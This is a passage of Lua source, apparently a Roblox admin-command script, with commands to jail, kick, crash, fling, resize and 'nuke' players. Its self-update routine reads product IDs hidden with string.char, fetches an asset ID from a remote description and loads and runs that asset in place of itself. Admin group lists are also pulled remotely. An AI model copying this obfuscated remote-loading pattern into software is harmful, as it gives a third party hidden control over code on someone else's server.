943 if Get.Name == "Base" or Get.Name == "BasePlate" then
944 Get:Destroy()
945 end
946 end
947 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
948end
949
950function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
951 if IsAbusive == nil then IsAbusive = false end
952 if Commands[CommandName] then table.remove(Commands[CommandName]) end
953 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
954end
955
956function CORE:FixLighting() coroutine.wrap(function()
957 ModLighting = false
958 wait(0.2)
959 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
960 Server.Lighting.FogColor = Color3.new(0,0,0)
961 Server.Lighting.Brightness = 1
962 Server.Lighting.TimeOfDay = 14
963 Server.Lighting.FogEnd = 100000
964end)() end
965
966function CORE:Round(Number)
967 if Number >= 0.5 then
968 return math.ceil(Number)
969 elseif Number < 0.5 then
970 return math.floor(Number)
971 end
972end
973
974local AdminID,Got = nil,false
975repeat wait()
976 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
977until Got == true
978
979function CORE:GetTable(ID)
980 local Thing = nil
981 repeat wait()
982 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
983 until Thing
984 return Thing
985end
986
987function CORE:InAdminGroup(Speaker)
988 local IsIn = false
989 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
990 if Speaker:IsInGroup(Get) then
991 IsIn = true
992 end
993 end
994 if IsIn == true then
995 return true
996 else
997 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
998 return false
999 end
1000end
1001
1002function CORE:ReverseTable(Table)
1003 if type(Table) ~= "table" then return Table end
1004 local NewTable = {}
1005 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1006 return NewTable
1007end
1008
1009function CORE:Log(LogTable, Player, Chat)
1010 local PlayerName = tostring(Player)
1011 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1012 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1013end
1014
1015function CORE:Jail(Player)
1016 if not Player then return nil end
1017 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1018 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1019 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1020 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1021 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1022 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1023 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1024 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1025 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1026 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1027 Cell:MoveTo(Vector3.new(0,3,0))
1028
1029 if Player.Character and Player.Character:FindFirstChild("Torso") then
1030 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1031 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1032 end
1033 table.insert(Dispose, Cell)
1034 Jails[Player.Name] = Cell
1035end
1036
1037function CORE:UnJail(Player)
1038 if not Player then return nil end
1039 if Jails[Player.Name] then
1040 Jails[Player.Name]:Destroy()
1041 Jails[Player.Name] = nil
1042 end
1043end
1044
1045function CORE:ChangeName(Player, NewName)
1046 if not Player or not NewName then return nil end
1047 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1048 local NewName = STRING:FormatReplace(Player, NewName)
1049
1050 for _,Obj in pairs(Player.Character:GetChildren()) do
1051 if Obj.Name == "Label" then Obj:Destroy() end
1052 end
1053
1054 local Head = Player.Character.Head
1055 local HeadClone = Head:Clone()
1056
1057 -- make actual head invisible
1058 Head.Transparency = 1
1059 ypcall(function() Head.face.Transparency = 1 end)
1060
1061 -- make fake head visible
1062 HeadClone.Transparency = 0
1063 ypcall(function() HeadClone.face.Transparency = 0 end)
1064
1065 local Label = Instance.new("Model", Player.Character)
1066 Label.Name = "Label"
1067
1068 local Model = Instance.new("Model", Label)
1069 Model.Name = NewName
1070
1071 local HumanoidClone = Instance.new("Humanoid", Model)
1072 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1073
1074 HeadClone.Position = Vector3.new(0,100,0)
1075 HeadClone.CanCollide = false
1076 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1077
1078
1079 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1080 HeadClone.Parent = Model
1081 local Weld = Instance.new("Weld", HeadClone)
1082 Weld.Part0 = HeadClone
1083 Weld.Part1 = Head
1084 end)
1085 end
1086end
1087
1088function CORE:UpdateAdmin()
1089 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1090 return nil
1091 end
1092 local UpdateModel = AdminID
1093 if UpdateModel == 0 then return end
1094 local NewAdminModel = nil
1095 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1096 if NewAdminModel then
1097 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1098 if NewAdmin then
1099 local NewVersion = NewAdmin:FindFirstChild("Version")
1100 if NewVersion.Value ~= CORE.Version.Value then
1101 if ExploitModule then
1102 ExploitModule.Disabled = true
1103 ExploitModule:Destroy()
1104 end
1105 NewAdmin.Disabled = true
1106 NewAdmin.Parent = Workspace
1107 if not Settings then
1108 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1109 if NewSettings then NewSettings.Parent = Workspace end
1110 end
1111 wait() NewAdmin.Disabled = false
1112 CORE:RemoveAdmin()
1113 else
1114 NewAdminModel:Destroy()
1115 end
1116 end
1117 end
1118end
1119
1120function CORE:UnpackPlayers(Players)
1121 local PlayerNames = ""
1122 for Num,Player in pairs(Players) do
1123 if Player ~= nil then
1124 if Num ~= #Players then
1125 PlayerNames = PlayerNames..Player.Name..", "
1126 else
1127 PlayerNames = PlayerNames..Player.Name
1128 end
1129 end
1130 end
1131 return PlayerNames
1132end
1133
1134function CORE:GetValue(Value)
1135 if Value:IsA("StringValue") then
1136 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1137 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1138 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1139 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1140 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1141 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1142 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1143 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1144 if Admin == Value.Value then
1145 table.remove(Settings.Ranks["Admin"],Num)
1146 end
1147 end
1148 end end
1149 end
1150end
1151
1152function CORE:GetPlayer(ID)
1153 local Return = {"Unknown", ID}
1154 if tonumber(ID) then
1155 for _,Data in pairs(CharacterCache) do
1156 if ID == Data[2] then
1157 return Data
1158 end
1159 end
1160 ypcall(function()
1161 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1162 if Name then
1163 local Data = {Name, ID}
1164 table.insert(CharacterCache, Data)
1165 Return = Data
1166 end
1167 end)
1168 else
1169 local Name = tostring(ID)
1170 for _,Data in pairs(CharacterCache) do
1171 if string.lower(Name) == string.lower(Data[1]) then
1172 return Data
1173 end
1174 end
1175 ypcall(function()
1176 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1177 if PlayerID then
1178 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1179 local Data = {Name, PlayerID}
1180 table.insert(CharacterCache, Data)
1181 Return = Data
1182 end
1183 end)
1184 end
1185
1186 return Return
1187end
1188
1189function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1190 if ID and #tostring(ID) >= 1 then
1191 local PlayerName = nil
1192
1193 local Players = STRING:Scan(ID, Speaker)
1194 if #Players >= 1 then -- if player is found in server
1195 ID = Players[1].UserId
1196 elseif tonumber(ID) then
1197 local Data = CORE:GetPlayer(ID)
1198 PlayerName = Data[1]
1199 else
1200 local Data = CORE:GetPlayer(tostring(ID))
1201 PlayerName = Data[1]
1202 ID = Data[2]
1203 end
1204
1205 if tonumber(ID) == 20018 then -- exploding easter bunny
1206 local OldID = ID
1207 ID = 1
1208 if Speaker then
1209 if RANK:GetRank(Speaker) == "Member" then
1210 coroutine.wrap(function()
1211 wait(1)
1212 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1213 end)()
1214 else ID = OldID
1215 end
1216 end
1217 elseif tonumber(ID) == 1311 then -- ffjosh
1218 local OldID = ID
1219 ID = 1
1220 if Speaker then
1221 if RANK:GetRank(Speaker) == "Member" then
1222 coroutine.wrap(function()
1223 wait(1)
1224 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1225 end)()
1226 else ID = OldID
1227 end
1228 end
1229 end
1230
1231 if tonumber(ID) then
1232 local Position = nil
1233 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1234 if ManualPos then
1235 Position = ManualPos
1236 else
1237 Position = Player.Character.Torso.Position
1238 end
1239 end
1240 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1241 wait() Player:LoadCharacter() wait()
1242 if Position then Player.Character:MoveTo(Position) end
1243 if not Perm then
1244 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1245 end
1246 if NameChar and PlayerName then
1247 wait(2)
1248 CORE:ChangeName(Player, PlayerName)
1249 end
1250 end
1251 end
1252end)() end
1253
1254function CORE:GenerateShield(Player)
1255 if not Player then return nil end
1256 if not Player.Character then return nil end
1257 local Torso = Player.Character:FindFirstChild("Torso")
1258 if not Torso then return nil end
1259
1260 local Shield = Player.Character:FindFirstChild("Shield")
1261 if Shield then Shield:Destroy() end
1262
1263 Shield = Instance.new("Part", Player.Character)
1264 Shield.Name = "Shield"
1265 Shield.Locked = true
1266 Shield.CanCollide = false
1267 Shield.Size = Vector3.new(10,10,10)
1268 Shield.Shape = "Ball"
1269 Shield.Color = GUI:GetColor()
1270 Shield.Transparency = 0.5
1271 Shield.TopSurface = "Smooth"
1272 Shield.BottomSurface = "Smooth"
1273 Shield.Anchored = true
1274 Shield.Position = Torso.Position
1275
1276 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1277 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1278
1279 Hum:Play()
1280
1281 Shield.Touched:connect(function(Part)
1282 if Part.Parent ~= Server.Workspace then
1283 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1284 if Humanoid then
1285 local Char = Humanoid.Parent
1286 if Char:IsA("Model") and Humanoid.Health > 0 then
1287 if Char ~= Player.Character then
1288 Char:BreakJoints()
1289 Zap:Play()
1290 end
1291 end
1292 end
1293 end
1294 end)
1295
1296 coroutine.wrap(function() repeat wait()
1297 Shield.CFrame = Torso.CFrame
1298 until Torso.Parent == nil or Shield.Parent == nil end)()
1299end
1300
1301function CORE:FlingPlayer(Player)
1302 if Player and Player.Character then
1303 if Player.Character:FindFirstChild("Torso") then
1304 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1305 Fling.Name = "Fling"
1306 Fling.force = Vector3.new(10000,10000,10000)
1307 end
1308 end
1309end
1310
1311function CORE:Kick(Player, CustomMessage)
1312 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1313 coroutine.wrap(function()
1314 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1315 wait(1)
1316 Player:Kick(CustomMessage)
1317 end)()
1318end
1319
1320function CORE:Crash(Player)
1321 local Parent = Player
1322 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1323 elseif Player.Character then Parent = Player.Character end
1324
1325 CORE:ExecuteResource("Crash", Parent)
1326end
1327
1328function CORE:RestoreCamera(Player)
1329 if Player.Backpack then
1330 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1331 end
1332end
1333
1334function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1335 local function ScanInstance(Object)
1336 if #Object:GetChildren() > 0 then
1337 for _,Obj in pairs(Object:GetChildren()) do
1338 local IsType = false
1339 if ObjTypes and #ObjTypes > 0 then
1340 for _,ObjType in pairs(ObjTypes) do
1341 if Obj:IsA(ObjType) then
1342 IsType = true
1343 break
1344 end
1345 end
1346 else
1347 IsType = true
1348 end
1349 if IsType == true then
1350 ActiveFunc(Obj)
1351 end
1352 ScanInstance(Obj)
1353 end
1354 end
1355 end
1356 ScanInstance(BaseObj)
1357end
1358
1359function CORE:AnchorPlayer(Player)
1360 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1361
1362 Player.Character.Humanoid.WalkSpeed = 0
1363 for _,Object in pairs(Player.Character:GetChildren()) do
1364 if Object:IsA("BasePart") then
1365 Object.Anchored = true
1366 end
1367 end
1368end
1369
1370function CORE:UnanchorPlayer(Player)
1371 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1372
1373 Player.Character.Humanoid.WalkSpeed = 16
1374 for _,Object in pairs(Player.Character:GetChildren()) do
1375 if Object:IsA("BasePart") then
1376 Object.Anchored = false
1377 end
1378 end
1379end
1380
1381function CORE:InvisiblePlayer(Player)
1382 if not Player or not Player.Character then return end
1383
1384 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1385end
1386
1387function CORE:VisiblePlayer(Player)
1388 if not Player or not Player.Character then return end
1389
1390 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1391end
1392
1393function CORE:Nuke(Player) coroutine.wrap(function()
1394 local Pos = CFrame.new(0,1,0)
1395 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1396 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1397 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1398 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1399 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1400 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1401
1402 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1403
1404 Server.Lighting.Brightness = 5
1405 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1406 Server.OutdoorAmbient = Color3.new(1,1,1)
1407
1408 local Exp = Instance.new("Explosion", Server.Workspace)
1409 Exp.Position = Pos.p
1410 Exp.BlastPressure = 10000000
1411 Exp.BlastRadius = 1000000
1412 Exp.Hit:connect(function(Part)
1413 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1414 ypcall(function()
1415 Part.Anchored = false
1416 Part.BrickColor = BrickColor.new("Black")
1417 Part.Material = "Slate"
1418 Part:BreakJoints()
1419 end)
1420 end
1421 end)
1422
1423 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1424 BoomSound:Play()
1425 for i = 0,100,0.5 do
1426 Blast.Anchored = true
1427 Wave.Anchored = true
1428 BlastMesh.Scale = Vector3.new(i,i,i)
1429 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1430 Blast.CFrame = Pos
1431 wait()
1432 end
1433 BoomSound:Stop()
1434 Blast:Destroy()
1435 Wave:Destroy()
1436 wait()
1437 BoomSound:Destroy()
1438 Effect:Destroy()
1439 for i = 10,5,-1 do
1440 Server.Lighting.Brightness = (i-5) + 1
1441 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1442 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1443 wait(0.05)
1444 end
1445end)() end
1446
1447function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1448 local AssetID = tonumber(AssetID)
1449 local Item = nil
1450 if AssetID and AssetID ~= 1055299 then
1451 local CanInsert = true
1452 if AbuseMode then
1453 for _,ID in pairs(RemoteAbuseGear) do
1454 if AssetID == tonumber(ID) then CanInsert = false break end
1455 end
1456 for _,ID in pairs(Settings.AbusableGear) do
1457 if AssetID == tonumber(ID) then CanInsert = false break end
1458 end
1459 end
1460 if CanInsert then
1461 Item = Server.IS:LoadAsset(AssetID)
1462 if GetFirstChild then
1463 Item = Item:GetChildren()[1]
1464 if FirstChildTypes and Item then
1465 local ValidType = false
1466 for _,Type in pairs(FirstChildTypes) do
1467 if Item:IsA(Type) then
1468 ValidType = true
1469 break
1470 end
1471 end
1472 if ValidType == false then
1473 Item = nil
1474 end
1475 end
1476 end
1477 if Item and Parent then
1478 Item.Parent = Parent
1479 end
1480 end
1481 end
1482 return Item
1483end
1484
1485function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1486 if not Player or not Player.Character then return nil end
1487 PID = tonumber(PID)
1488 for _,Obj in pairs(Player.Character:GetChildren()) do
1489 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1490 end
1491 if PID then
1492 -- back when we needed HttpService to get packages.
1493 --[[
1494 if PackageCache[PID] then
1495 for _,ID in pairs(PackageCache[PID]) do
1496 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1497 end
1498 else
1499 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1500 if IDsJSON then
1501 local IDs = REMOTE:Decode(IDsJSON)
1502 if IDs then
1503 if not IDs["Error"] then
1504 table.insert(PackageCache, IDs)
1505 for _,ID in pairs(IDs) do
1506 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1507 end
1508 end
1509 end
1510 end
1511 end
1512 ]]
1513 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1514 local IDs = {}
1515 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1516 if #IDs > 0 then
1517 for _,ID in pairs(IDs) do
1518 local PackagePart = CORE:Insert(ID)
1519 for _,Obj in pairs(PackagePart:GetChildren()) do
1520 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1521 Obj.Parent = Player.Character
1522 elseif Obj:IsA("Folder") then
1523 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1524 Obj:GetChildren()[1].Parent = Player.Character
1525 end
1526 end
1527 end
1528 end
1529 end
1530 end
1531end)() end
1532
1533function CORE:ChangeBet(Bet)
1534 if tostring(Bet) and Bet ~= Settings.Bet then
1535 for Index,Data in pairs(Commands) do
1536 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1537 end
1538 Settings.Bet = Bet
1539 end
1540end
1541
1542function CORE:ResetLighting()
1543 ModLighting = false wait(0.2) ModLighting = true
1544end
1545
1546function CORE:Fly(Player, Force)
1547 if Player and Player.Character then
1548 local StopFly = Instance.new("RemoteFunction", Player.Character)
1549 StopFly.Name = "StopMMLFly"
1550 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1551 end
1552end
1553
1554function CORE:GiveTools(Player, Type)
1555 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1556 Type = string.lower(Type)
1557 local _,RankNum = RANK:GetRank(Player)
1558 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1559 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1560
1561 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1562 for Name,Type in pairs(BaseBuildTools) do
1563 local Tool = Instance.new("HopperBin", Player.Backpack)
1564 Tool.Name = Name
1565 Tool.BinType = Type
1566 end
1567 elseif Type == "psbtools" then
1568 for _,Tool in pairs(BuildTools) do
1569 CORE:Insert(Tool, Player.Backpack, true)
1570 end
1571 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1572 if F3X then
1573 local F3X = F3X:Clone()
1574 F3X.Parent = Player.Backpack
1575 end
1576 elseif Type == "btools" then
1577 if F3X then
1578 local F3X = F3X:Clone()
1579 F3X.Parent = Player.Backpack
1580 end
1581 for Name,Type in pairs(BaseBuildTools) do
1582 local Tool = Instance.new("HopperBin", Player.Backpack)
1583 Tool.Name = Name
1584 Tool.BinType = Type
1585 end
1586 for _,Tool in pairs(BuildTools) do
1587 CORE:Insert(Tool, Player.Backpack, true)
1588 end
1589 else
1590 for _,Region in pairs(ToolRegions) do
1591 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1592 if Type == "all" then
1593 local NewItem = Item:Clone()
1594 NewItem.Parent = Player.Backpack
1595 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1596 local NewItem = Item:Clone()
1597 NewItem.Parent = Player.Backpack
1598 end
1599 end)
1600 end
1601 end
1602end
1603
1604function CORE:Scale(Player, ScalePercent)
1605 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1606 local Ratio = ScalePercent/100
1607 if Ratio < 0.05 then Ratio = 0.05 end
1608 if Ratio > 100 then Ratio = 100 end
1609 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1610 local Char = Player.Character
1611
1612 local Clean = Char:FindFirstChild("Clean")
1613 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1614 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1615
1616 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1617 local Welds = {}
1618 local Parts = {}
1619
1620 local function Handle(Obj)
1621 if Obj:IsA("BasePart") and not JustWeld then
1622 table.insert(Parts, Obj)
1623 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1624 if Obj.Name == "MML Mesh" then
1625 Obj:Destroy()
1626 end
1627 if Obj.MeshType == Enum.MeshType.FileMesh then
1628 Obj.Offset = Obj.Offset * ScaleRatio
1629 Obj.Scale = Obj.Scale * ScaleRatio
1630 elseif Ratio < 1 then
1631 Obj.Offset = Obj.Offset * ScaleRatio
1632 Obj.Scale = Obj.Scale * ScaleRatio
1633 end
1634 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1635 if Ratio < 1 then
1636 local BodyPart = ""
1637 local TextureID = Obj.BaseTextureId
1638 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1639 if TextureID == 0 then TextureID = nil end
1640 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1641 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1642 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1643 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1644 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1645 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1646 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1647 NewMesh.Name = "MML Mesh"
1648 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1649 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1650 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1651 Obj:Destroy()
1652 end
1653 elseif Obj:IsA("JointInstance") then
1654 local NewWeld = Obj:Clone()
1655 table.insert(Welds, {NewWeld, Obj.Parent})
1656 elseif NewAdd == true and not JustWeld then
1657 if Obj:IsA("Tool") then
1658 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1659 elseif Obj:IsA("Accoutrement") then
1660 --Cycle(Char.Head, ScaleRatio, false, true)
1661 end
1662 end
1663 if #Obj:GetChildren() > 0 then
1664 for _,NewObj in pairs(Obj:GetChildren()) do
1665 Handle(NewObj, ScaleRatio)
1666 end
1667 end
1668 end
1669 Handle(BaseObj)
1670 for _,Part in pairs(Parts) do
1671 if Ratio >= 1 then
1672 Part.Size = Part.Size * ScaleRatio
1673 else
1674 local Allowed = true
1675 for _,Obj in pairs(Part:GetChildren()) do
1676 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1677 Allowed = false
1678 end
1679 end
1680 if Allowed == true then
1681 local NewMesh = Instance.new("BlockMesh", Part)
1682 NewMesh.Name = "MML Mesh"
1683 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1684 end
1685 end
1686 end
1687 for _,WeldData in pairs(Welds) do
1688 if WeldData[1] then
1689 local Obj = WeldData[1]
1690 local NewWeld = Obj:Clone()
1691
1692 NewWeld.Parent = WeldData[2]
1693 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1694 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1695 end
1696 end
1697 for _,Part in pairs(Parts) do
1698 Part:MakeJoints()
1699 end
1700 Welds = {}
1701 Parts = {}
1702 end
1703 Cycle(Char, Ratio)
1704 Char:MakeJoints()
1705
1706 local Added = Char.ChildAdded:connect(function(Obj)
1707 Cycle(Obj, Ratio, NewAdd)
1708 end)
1709 local Removed = Char.ChildRemoved:connect(function(Obj)
1710 Cycle(Obj, Ratio^-1, NewAdd)
1711 end)
1712
1713 Clean.OnInvoke = function()
1714 Added:disconnect()
1715 Removed:disconnect()
1716 local Location = Vector3.new(0,5,0)
1717 if Char:FindFirstChild("Torso") then
1718 Location = Char.Torso.Position + Vector3.new(0,2,0)
1719 end
1720 Player:LoadCharacter()
1721 wait(0.5)
1722 Player.Character:MoveTo(Location)
1723 wait(0.5)
1724 return nil
1725 end
1726
1727 if Char:FindFirstChild("Torso") then
1728 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1729 end
1730 if Char:FindFirstChild("Humanoid") then
1731 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1732 end
1733 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1734 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1735 end
1736end
1737
1738function CORE:AddExploit(PlayerClient, Data)
